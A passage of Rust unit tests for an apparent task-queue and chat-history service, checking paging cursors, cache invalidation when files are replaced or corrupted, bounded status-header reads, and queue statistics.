27150        let (tasks, talks, watches) =
27151            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27152        assert!(
27153            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27154                .is_none()
27155        );
27156        std::fs::remove_file(duplicate_path).unwrap();
27157        // Another explicit owner is a conflict even if it has no chat.
27158        let mut unrelated = Task::new(
27159            "other".into(),
27160            String::new(),
27161            PathBuf::from("/repo"),
27162            Source::Human,
27163        );
27164        unrelated.id = "unrelated-task".into();
27165        ui.queue.put(&mut unrelated).unwrap();
27166        let mut conflicting = watch.clone();
27167        conflicting.held_task = Some(unrelated.id);
27168        std::fs::write(
27169            watch_dir.join("conflict.json"),
27170            serde_json::to_vec(&conflicting).unwrap(),
27171        )
27172        .unwrap();
27173        let (tasks, talks, watches) =
27174            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27175        assert!(
27176            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27177                .is_none()
27178        );
27179        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
27180        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
27181        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
27182            assert!(origin.origin_chat.is_none());
27183            assert!(!origin.origin_chat_closed);
27184        }
27185    }
27186
27187    #[test]
27188    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
27189        let home = tempfile::tempdir().unwrap();
27190        let ui = delta_test_ui(home.path());
27191        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
27192        for i in 0..1000 {
27193            let mut task = Task::new(
27194                "unrelated".into(),
27195                "instruction ".repeat(256),
27196                PathBuf::from("/repo"),
27197                Source::Human,
27198            );
27199            task.id = format!("history-{i:04}");
27200            ui.queue.put(&mut task).unwrap();
27201            let id = seed_talk_at(&ui.talks, &task.id, "open");
27202            let mut talk = ui.talks.get(&id).unwrap();
27203            talk.pending = "history ".repeat(256);
27204            ui.talks.put(&mut talk).unwrap();
27205        }
27206        let mut parent = Task::new(
27207            "parent".into(),
27208            "body".into(),
27209            PathBuf::from("/repo"),
27210            Source::Agent {
27211                run: chat_id.clone(),
27212                node: crate::queue::CHAT_NODE.into(),
27213            },
27214        );
27215        parent.id = "task-parent".into();
27216        parent.runs = vec!["run-parent".into()];
27217        ui.queue.put(&mut parent).unwrap();
27218        let mut child = Task::new(
27219            "child".into(),
27220            "body".into(),
27221            PathBuf::from("/repo"),
27222            Source::Human,
27223        );
27224        child.id = "task-child".into();
27225        child.runs = vec!["run-child".into()];
27226        child.followup = Some(crate::queue::FollowUp {
27227            run: "run-parent".into(),
27228            origin_task: Some(parent.id.clone()),
27229            pr: "https://example.invalid/pr/1".into(),
27230            findings: vec![],
27231            generation: 1,
27232        });
27233        ui.queue.put(&mut child).unwrap();
27234        let mut question = Question::new(
27235            child.id.clone(),
27236            crate::conduct::NODE.into(),
27237            "seat".into(),
27238            "Continue?".into(),
27239            String::new(),
27240            vec![],
27241        );
27242        let (tasks, talks, _watches) =
27243            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27244        assert_eq!(tasks.len(), 2);
27245        assert_eq!(talks.len(), 1);
27246        assert_eq!(
27247            ui.monitor.queue_index.lock().unwrap().reparsed,
27248            0,
27249            "exact ancestry bypasses the index"
27250        );
27251        assert_eq!(
27252            crate::consult::origin_talk(&tasks, &talks, &question)
27253                .unwrap()
27254                .id,
27255            chat_id
27256        );
27257        question.run = "run-child".into();
27258        question.node = "review".into();
27259        for origin_task in [Some(parent.id.clone()), None] {
27260            child.followup.as_mut().unwrap().origin_task = origin_task;
27261            ui.queue.put(&mut child).unwrap();
27262            let (tasks, talks, _watches) =
27263                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27264            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
27265            let expected =
27266                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
27267                    .unwrap();
27268            assert_eq!(actual.id, expected.id);
27269            assert!(!actual.status.open());
27270            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27271            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27272            // Without Unix file identity, every readable record must be
27273            // reparsed to detect same-size, same-mtime replacements safely.
27274            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
27275            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27276        }
27277        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
27278        ui.queue.put(&mut child).unwrap();
27279        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
27280        let (tasks, talks, _watches) =
27281            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27282        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27283        child.origin_chat = Some(chat_id.clone());
27284        ui.queue.put(&mut child).unwrap();
27285        let (tasks, talks, _watches) =
27286            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27287        assert_eq!(
27288            crate::consult::origin_talk(&tasks, &talks, &question)
27289                .unwrap()
27290                .id,
27291            chat_id
27292        );
27293        let revision = question_record_revision(&question);
27294        question.abandon("settled elsewhere");
27295        assert_ne!(revision, question_record_revision(&question));
27296        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27297        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
27298        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
27299        let (tasks, talks, _watches) =
27300            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27301        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
27302    }
27303
27304    #[test]
27305    fn list_cursors_freeze_membership_and_expire_explicitly() {
27306        let home = tempfile::tempdir().unwrap();
27307        let ui = delta_test_ui(home.path());
27308        std::fs::create_dir_all(ui.queue.root()).unwrap();
27309        for i in 0..40 {
27310            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
27311        }
27312        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
27313        assert_eq!(first.len(), STORE_PAGE_SIZE);
27314        let cursor = cursor.unwrap();
27315        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
27316        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
27317        let (second, _) = page_ids(
27318            &ui,
27319            false,
27320            PageQuery {
27321                before: Some(cursor.clone()),
27322            },
27323        )
27324        .unwrap();
27325        assert_eq!(second[0], "record-0023");
27326        assert!(second.iter().all(|id| !first.contains(id)));
27327        assert!(
27328            page_ids(
27329                &ui,
27330                true,
27331                PageQuery {
27332                    before: Some(cursor.clone())
27333                }
27334            )
27335            .is_err()
27336        );
27337        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
27338        assert_eq!(fresh[0], "record-9999");
27339        ui.monitor.list_walks.lock().unwrap().clear();
27340        assert!(
27341            page_ids(
27342                &ui,
27343                false,
27344                PageQuery {
27345                    before: Some(cursor)
27346                }
27347            )
27348            .is_err()
27349        );
27350    }
27351
27352    #[tokio::test]
27353    async fn talk_pages_load_every_open_then_frozen_closed_history() {
27354        let home = tempfile::tempdir().unwrap();
27355        let ui = delta_test_ui(home.path());
27356        // Every closed conversation is newer by ID than every open conversation.
27357        for i in 0..23 {
27358            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
27359        }
27360        for i in 0..45 {
27361            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
27362        }
27363        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
27364        let first = talks_page(
27365            State(ui.clone()),
27366            Query(PageQuery::default()),
27367            header::HeaderMap::new(),
27368        )
27369        .await
27370        .unwrap()
27371        .0;
27372        assert_eq!(
27373            first.rows.iter().filter(|row| row.status.open()).count(),
27374            23
27375        );
27376        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
27377        assert!(first.rows[..23].iter().all(|row| row.status.open()));
27378        let parsed = ui
27379            .monitor
27380            .talk_parses
27381            .load(std::sync::atomic::Ordering::Relaxed);
27382        assert_eq!(
27383            parsed,
27384            first.rows.len(),
27385            "closed bodies outside this page are not restored"
27386        );
27387        let fresh = talks_page(
27388            State(ui.clone()),
27389            Query(PageQuery::default()),
27390            header::HeaderMap::new(),
27391        )
27392        .await
27393        .unwrap()
27394        .0;
27395        assert_eq!(fresh.rows.len(), first.rows.len());
27396        assert_eq!(
27397            ui.monitor
27398                .talk_parses
27399                .load(std::sync::atomic::Ordering::Relaxed),
27400            parsed
27401        );
27402        let mut seen: std::collections::HashSet<_> =
27403            first.rows.iter().map(|row| row.id.clone()).collect();
27404        // Status changes keep their original membership position until refresh.
27405        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
27406        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
27407        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
27408        let mut next = first.next;
27409        while let Some(cursor) = next {
27410            let page = talks_page(
27411                State(ui.clone()),
27412                Query(PageQuery {
27413                    before: Some(cursor),
27414                }),
27415                header::HeaderMap::new(),
27416            )
27417            .await
27418            .unwrap()
27419            .0;
27420            assert!(page.rows.len() <= STORE_PAGE_SIZE);
27421            for row in page.rows {
27422                assert!(seen.insert(row.id), "a cursor must not repeat membership");
27423            }
27424            next = page.next;
27425        }
27426        let expected: HashSet<_> = (0..23)
27427            .map(|i| format!("20260101-000000-{i:03}"))
27428            .chain(
27429                (0..45)
27430                    .filter(|i| *i != 1)
27431                    .map(|i| format!("20261019-000000-{i:03}")),
27432            )
27433            .collect();
27434        assert_eq!(
27435            seen, expected,
27436            "the cursor walk must return every surviving ID"
27437        );
27438        let refreshed = talks_page(
27439            State(ui.clone()),
27440            Query(PageQuery::default()),
27441            header::HeaderMap::new(),
27442        )
27443        .await
27444        .unwrap()
27445        .0;
27446        assert_eq!(
27447            refreshed
27448                .rows
27449                .iter()
27450                .filter(|row| row.status.open())
27451                .count(),
27452            23
27453        );
27454        assert!(
27455            refreshed
27456                .rows
27457                .iter()
27458                .any(|row| row.id == "20261019-000000-000")
27459        );
27460        assert!(
27461            !refreshed
27462                .rows
27463                .iter()
27464                .any(|row| row.id == "20260101-000000-000")
27465        );
27466    }
27467
27468    #[test]
27469    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
27470        let home = tempfile::tempdir().unwrap();
27471        let ui = delta_test_ui(home.path());
27472        for i in 0..STORE_PAGE_SIZE + 5 {
27473            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
27474        }
27475        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
27476        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
27477        assert!(next.is_none());
27478    }
27479
27480    #[test]
27481    fn chat_status_promotes_closed_owner_goal_in_header() {
27482        let home = tempfile::tempdir().unwrap();
27483        let ui = delta_test_ui(home.path());
27484        for i in 0..STORE_PAGE_SIZE + 5 {
27485            seed_talk_at(&ui.talks, &format!("new-{i:03}"), "closed");
27486        }
27487        let id = seed_talk_at(&ui.talks, "ancient", "closed");
27488        let path = ui.talks.path_of(&id);
27489        let mut raw: serde_json::Value =
27490            serde_json::from_slice(&std::fs::read(&path).unwrap()).unwrap();
27491        raw["goals"] = serde_json::json!([{
27492            "id": "g", "purpose": "ship", "scope": "task",
27493            "condition": {"description": "done", "kind": "tasks_done"},
27494            "state": "owner", "step": "decision", "source_turn": 0,
27495            "owner_input": "ship", "tasks": [], "runs": [], "watches": [],
27496            "evidence": "", "wake": 0, "handled": 0, "started": null,
27497            "wakes": 0, "last_checked": null, "fingerprint": ""
27498        }]);
27499        let chat: talk::Talk = serde_json::from_value(raw.clone()).unwrap();
27500        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27501        let (ids, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27502        assert!(ids.contains(&id));
27503        let rows = talk_rows(&ui, ids, &header::HeaderMap::new());
27504        let row = rows.iter().find(|row| row.id == id).unwrap();
27505        assert_eq!(row.chat_status.kind, crate::chat_status::Kind::NeedsOwner);
27506        {
27507            let cache = ui.monitor.closed_goal_index.lock().unwrap();
27508            assert!(cache.get(&id).is_some_and(|(_, owner)| *owner));
27509            assert!(cache.len() > STORE_PAGE_SIZE);
27510        }
27511        // A second request must retain the projection even for promoted rows.
27512        let (again, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27513        assert!(again.contains(&id));
27514        // A same-length rewrite preserving write time still changes identity.
27515        let modified = path.metadata().unwrap().modified().unwrap();
27516        raw["goals"][0]["state"] = serde_json::json!("paused");
27517        raw["goals"][0]["step"] = serde_json::json!("waiting");
27518        let chat: talk::Talk = serde_json::from_value(raw).unwrap();
27519        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27520        std::fs::OpenOptions::new()
27521            .write(true)
27522            .open(&path)
27523            .unwrap()
27524            .set_modified(modified)
27525            .unwrap();
27526        let (changed, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27527        assert!(!changed.contains(&id));
27528        // A legacy file with goals after turns is deferred to its history page.
27529        let mut raw = serde_json::to_value(&chat).unwrap();
27530        raw["goals"][0]["state"] = serde_json::json!("owner");
27531        let goals = raw.as_object_mut().unwrap().remove("goals").unwrap();
27532        let mut body = serde_json::to_string(&raw).unwrap();
27533        body.pop();
27534        body.push_str(&format!(",\"goals\":{goals}}}"));
27535        std::fs::write(&path, body).unwrap();
27536        let (initial, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27537        assert!(!initial.contains(&id));
27538        let rows = talk_rows(&ui, vec![id], &header::HeaderMap::new());
27539        assert_eq!(
27540            rows[0].chat_status.kind,
27541            crate::chat_status::Kind::NeedsOwner
27542        );
27543    }
27544
27545    #[test]
27546    fn chat_status_revision_tracks_turn_lease_without_transcript_changes() {
27547        let home = tempfile::tempdir().unwrap();
27548        let ui = delta_test_ui(home.path());
27549        let id = seed_talk_at(&ui.talks, "chat", "open");
27550        let before = monitor_scan(&ui, None);
27551        let lease = ui.talks.claim_turn(&id).unwrap().unwrap();
27552        let during = monitor_scan(&ui, Some(before.clone()));
27553        assert_ne!(during.0.3, before.0.3);
27554        drop(lease);
27555        let after = monitor_scan(&ui, Some(during));
27556        assert_eq!(after.0.3, before.0.3);
27557    }
27558
27559    #[test]
27560    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
27561        struct Counted<R> {
27562            inner: R,
27563            bytes: usize,
27564        }
27565        impl<R: std::io::Read> std::io::Read for Counted<R> {
27566            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
27567                let n = self.inner.read(buf)?;
27568                self.bytes += n;
27569                Ok(n)
27570            }
27571        }
27572        let home = tempfile::tempdir().unwrap();
27573        let ui = delta_test_ui(home.path());
27574        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
27575        let mut chat = ui.talks.get(&id).unwrap();
27576        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
27577            chat.turns = vec![
27578                serde_json::from_value(serde_json::json!({
27579                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
27580                }))
27581                .unwrap(),
27582            ];
27583            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
27584                chat.status = status;
27585                // Exercise the actual on-disk serializer, including its field order.
27586                let body = serde_json::to_vec_pretty(&chat).unwrap();
27587                let mut reader = Counted {
27588                    inner: body.as_slice(),
27589                    bytes: 0,
27590                };
27591                assert_eq!(read_talk_status(&mut reader), Some(status));
27592                assert!(
27593                    reader.bytes <= 1024,
27594                    "header classification read {} bytes",
27595                    reader.bytes
27596                );
27597            }
27598        }
27599        // Noncanonical field order must neither traverse a transcript nor hide
27600        // an open row. Its real status is validated by the ordinary row reader.
27601        let noncanonical = format!(
27602            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
27603            "x".repeat(1024 * 1024)
27604        );
27605        let mut reader = Counted {
27606            inner: noncanonical.as_bytes(),
27607            bytes: 0,
27608        };
27609        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27610        assert!(reader.bytes <= 1024);
27611        let legacy = format!(
27612            r#"{{"status":"closed","turns":[{{"body":"{}"}}],"goals":[]}}"#,
27613            "x".repeat(1024 * 1024)
27614        );
27615        let mut reader = Counted {
27616            inner: legacy.as_bytes(),
27617            bytes: 0,
27618        };
27619        assert!(!read_owner_goal(&mut reader));
27620        assert!(reader.bytes <= 1024);
27621        let oversized = format!(
27622            r#"{{"agent":"{}","status":"open"}}"#,
27623            "x".repeat(128 * 1024)
27624        );
27625        let mut reader = Counted {
27626            inner: oversized.as_bytes(),
27627            bytes: 0,
27628        };
27629        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27630        assert!(reader.bytes <= 64 * 1024);
27631    }
27632
27633    #[test]
27634    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
27635        let home = tempfile::tempdir().unwrap();
27636        let ui = delta_test_ui(home.path());
27637        seed_talk_at(&ui.talks, "header-chat", "open");
27638        std::fs::create_dir_all(ui.queue.root()).unwrap();
27639        let (started, ready) = std::sync::mpsc::channel();
27640        let (release, wait) = std::sync::mpsc::channel();
27641        let chat_ui = ui.clone();
27642        let scan = std::thread::spawn(move || {
27643            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
27644                started.send(()).unwrap();
27645                wait.recv().unwrap();
27646                open_talk_ids(ui, ids)
27647            })
27648            .unwrap()
27649        });
27650        ready.recv_timeout(Duration::from_secs(2)).unwrap();
27651        let (finished, result) = std::sync::mpsc::channel();
27652        let queue = std::thread::spawn(move || {
27653            finished
27654                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
27655                .unwrap();
27656        });
27657        let completed = result.recv_timeout(Duration::from_secs(2));
27658        // Release and join both workers even if the regression returns.
27659        release.send(()).unwrap();
27660        scan.join().unwrap();
27661        queue.join().unwrap();
27662        assert!(
27663            completed.unwrap(),
27664            "queue paging must not wait for chat header I/O"
27665        );
27666    }
27667
27668    #[test]
27669    fn talk_status_projection_does_not_cache_files_changed_during_read() {
27670        let home = tempfile::tempdir().unwrap();
27671        let ui = delta_test_ui(home.path());
27672        let ids = vec!["changing-chat".to_owned()];
27673        seed_talk_at(&ui.talks, &ids[0], "closed");
27674        assert!(open_talk_ids(&ui, &ids).is_empty());
27675        seed_talk_at(&ui.talks, &ids[0], "open");
27676        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
27677            let value: serde_json::Value =
27678                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
27679            // Replace the file after parsing, before its identity is checked again.
27680            seed_talk_at(&ui.talks, &ids[0], "closed");
27681            serde_json::from_value(value["status"].clone()).ok()
27682        });
27683        assert!(open.contains(&ids[0]));
27684        assert!(
27685            ui.monitor
27686                .talk_status_index
27687                .lock()
27688                .unwrap()
27689                .records
27690                .is_empty()
27691        );
27692        assert!(open_talk_ids(&ui, &ids).is_empty());
27693        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
27694    }
27695
27696    #[test]
27697    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
27698        let home = tempfile::tempdir().unwrap();
27699        let ui = delta_test_ui(home.path());
27700        let ids = vec!["same-stamp-chat".to_owned()];
27701        seed_talk_at(&ui.talks, &ids[0], "open");
27702        // Model a non-Unix metadata collision deterministically: the old
27703        // classification has a fingerprint equal to the current file's.
27704        ui.monitor.talk_status_index.lock().unwrap().records.insert(
27705            ids[0].clone(),
27706            (
27707                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
27708                Some(talk::TalkStatus::Closed),
27709            ),
27710        );
27711        let open = open_talk_ids_with(&ui, &ids, false, |path| {
27712            std::fs::File::open(path).ok().and_then(read_talk_status)
27713        });
27714        assert!(
27715            open.contains(&ids[0]),
27716            "an untrusted cache hit must still read the current header"
27717        );
27718        assert!(
27719            ui.monitor
27720                .talk_status_index
27721                .lock()
27722                .unwrap()
27723                .records
27724                .is_empty()
27725        );
27726        seed_talk_at(&ui.talks, &ids[0], "closed");
27727        assert!(
27728            open_talk_ids_with(&ui, &ids, false, |path| {
27729                std::fs::File::open(path).ok().and_then(read_talk_status)
27730            })
27731            .is_empty()
27732        );
27733        let index = ui.monitor.talk_status_index.lock().unwrap();
27734        assert_eq!(index.parses, 2);
27735        assert!(
27736            index.records.is_empty(),
27737            "untrusted fingerprints must never publish cache entries"
27738        );
27739    }
27740
27741    #[test]
27742    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
27743        let home = tempfile::tempdir().unwrap();
27744        let ui = delta_test_ui(home.path());
27745        let headers = header::HeaderMap::new();
27746        seed_talk_at(&ui.talks, "open-chat", "open");
27747        seed_talk_at(&ui.talks, "closed-chat", "closed");
27748        talk_rows(
27749            &ui,
27750            vec!["open-chat".into(), "closed-chat".into()],
27751            &headers,
27752        );
27753        {
27754            let mut index = ui.monitor.talk_index.lock().unwrap();
27755            let closed = index["closed-chat"].1.clone();
27756            for i in 0..1000 {
27757                index.insert(
27758                    format!("cached-closed-{i}"),
27759                    (
27760                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
27761                        closed.clone(),
27762                    ),
27763                );
27764            }
27765        }
27766        assert_eq!(
27767            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
27768            1
27769        );
27770        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
27771        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27772        assert_eq!(
27773            ui.monitor
27774                .talk_parses
27775                .load(std::sync::atomic::Ordering::Relaxed),
27776            2
27777        );
27778        {
27779            let mut index = ui.monitor.talk_index.lock().unwrap();
27780            let open = index["open-chat"].1.clone();
27781            for i in 0..1000 {
27782                index.insert(
27783                    format!("cached-open-{i}"),
27784                    (
27785                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
27786                        open.clone(),
27787                    ),
27788                );
27789            }
27790        }
27791        // Even when open rows exceed the bound, keep the currently requested rows.
27792        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27793        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
27794        assert_eq!(
27795            ui.monitor
27796                .talk_parses
27797                .load(std::sync::atomic::Ordering::Relaxed),
27798            2
27799        );
27800    }
27801
27802    #[test]
27803    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
27804        let home = tempfile::tempdir().unwrap();
27805        let ui = delta_test_ui(home.path());
27806        std::fs::create_dir_all(ui.talks.root()).unwrap();
27807        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
27808        for id in &ids {
27809            std::fs::write(
27810                ui.talks.path_of(id),
27811                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
27812            )
27813            .unwrap();
27814        }
27815        assert!(open_talk_ids(&ui, &ids).is_empty());
27816        assert_eq!(
27817            ui.monitor.talk_status_index.lock().unwrap().parses,
27818            ids.len()
27819        );
27820        assert!(open_talk_ids(&ui, &ids).is_empty());
27821        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
27822        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
27823        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
27824        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
27825        assert_eq!(
27826            open_talk_ids(&ui, &ids),
27827            std::collections::HashSet::from([ids[0].clone()])
27828        );
27829        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
27830        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
27831        assert_eq!(parsed, reused + refreshed);
27832        open_talk_ids(&ui, &ids);
27833        assert_eq!(
27834            ui.monitor.talk_status_index.lock().unwrap().parses,
27835            parsed + if cfg!(unix) { 0 } else { ids.len() },
27836            "only reliable file identity permits caching, including unreadable rows"
27837        );
27838        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
27839        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
27840        assert!(
27841            !ui.monitor
27842                .talk_status_index
27843                .lock()
27844                .unwrap()
27845                .records
27846                .contains_key(&ids[0])
27847        );
27848        assert!(
27849            ui.monitor.talk_index.lock().unwrap().is_empty(),
27850            "classification never caches bodies"
27851        );
27852    }
27853
27854    #[tokio::test]
27855    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
27856        let home = tempfile::tempdir().unwrap();
27857        let ui = delta_test_ui(home.path());
27858        let mut task = Task::new(
27859            "task".into(),
27860            "body".into(),
27861            PathBuf::from("/repo"),
27862            Source::Human,
27863        );
27864        ui.queue.put(&mut task).unwrap();
27865        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27866        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27867        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27868        let expected = parsed + usize::from(!cfg!(unix));
27869        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27870        task.status = crate::queue::TaskStatus::Held;
27871        ui.queue.put(&mut task).unwrap();
27872        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27873        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27874        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
27875        ui.queue.put(&mut task).unwrap();
27876        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27877        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27878        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
27879    }
27880
27881    #[tokio::test]
27882    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
27883        let home = tempfile::tempdir().unwrap();
27884        let ui = delta_test_ui(home.path());
27885        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
27886        let before = health(State(ui.clone())).await.unwrap().0;
27887        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
27888        let after = health(State(ui)).await.unwrap().0;
27889        assert_ne!(before.notifications_rev, after.notifications_rev);
27890        assert_eq!(after.notifications_unread, 1);
27891    }
27892
27893    #[tokio::test]
27894    async fn list_pages_bound_history_and_keep_dependency_evidence() {
27895        let home = tempfile::tempdir().unwrap();
27896        let ui = delta_test_ui(home.path());
27897        let queue = &ui.queue;
27898        let talks = &ui.talks;
27899        for i in 0..1000 {
27900            let id = format!("20261019-{i:06}-page");
27901            let mut task = Task::new(
27902                "task".into(),
27903                "instruction".repeat(100),
27904                PathBuf::from("/repo/magi"),
27905                Source::Human,
27906            );
27907            task.id = id.clone();
27908            if i == 0 {
27909                task.status = crate::queue::TaskStatus::Held;
27910            } else if i == 999 {
27911                task.status = crate::queue::TaskStatus::Blocked;
27912                task.blocked_by = vec!["20261019-000000-page".into()];
27913            }
27914            queue.put(&mut task).unwrap();
27915            seed_talk_at(talks, &id, "closed");
27916        }
27917        let page = serde_json::to_value(
27918            queue_page(State(ui.clone()), Query(PageQuery::default()))
27919                .await
27920                .unwrap()
27921                .0,
27922        )
27923        .unwrap();
27924        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27925        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
27926        assert!(
27927            !page["rows"][0]["stuck_roots"]
27928                .as_array()
27929                .unwrap()
27930                .is_empty()
27931        );
27932        let cursor = page["next"].as_str().unwrap();
27933        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
27934            .as_str()
27935            .unwrap();
27936        // Deleting an already enumerated file cannot shift or repeat a page.
27937        std::fs::remove_file(queue.path_of(last_id)).unwrap();
27938        let next = serde_json::to_value(
27939            queue_page(
27940                State(ui.clone()),
27941                Query(PageQuery {
27942                    before: Some(cursor.into()),
27943                }),
27944            )
27945            .await
27946            .unwrap()
27947            .0,
27948        )
27949        .unwrap();
27950        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27951        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
27952        let chats = serde_json::to_value(
27953            talks_page(
27954                State(ui.clone()),
27955                Query(PageQuery::default()),
27956                header::HeaderMap::new(),
27957            )
27958            .await
27959            .unwrap()
27960            .0,
27961        )
27962        .unwrap();
27963        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27964        assert!(chats["rows"][0].get("pending").is_none());
27965        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
27966        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
27967        assert_eq!(counts["held"], 1);
27968        assert_eq!(counts["blocked"], 1);
27969        assert_eq!(counts["queued"], 997);
27970    }
27971
27972    #[test]
27973    fn queue_index_observes_external_replacement_deletion_and_corruption() {
27974        let dir = tempfile::tempdir().unwrap();
27975        let ui = delta_test_ui(dir.path());
27976        let mut task = Task::new(
27977            "task".into(),
27978            "body".into(),
27979            PathBuf::from("/repo"),
27980            Source::Human,
27981        );
27982        task.runs = vec!["run-a".into()];
27983        ui.queue.put(&mut task).unwrap();
27984        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
27985        task.runs = vec!["run-b".into()];
27986        let path = ui.queue.path_of(&task.id);
27987        let modified = path.metadata().unwrap().modified().unwrap();
27988        let replacement = path.with_extension("replacement");
27989        let bytes = serde_json::to_vec_pretty(&task).unwrap();
27990        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
27991        std::fs::write(&replacement, &bytes).unwrap();
27992        std::fs::File::options()
27993            .write(true)
27994            .open(&replacement)
27995            .unwrap()
27996            .set_times(std::fs::FileTimes::new().set_modified(modified))
27997            .unwrap();
27998        std::fs::rename(&replacement, &path).unwrap();
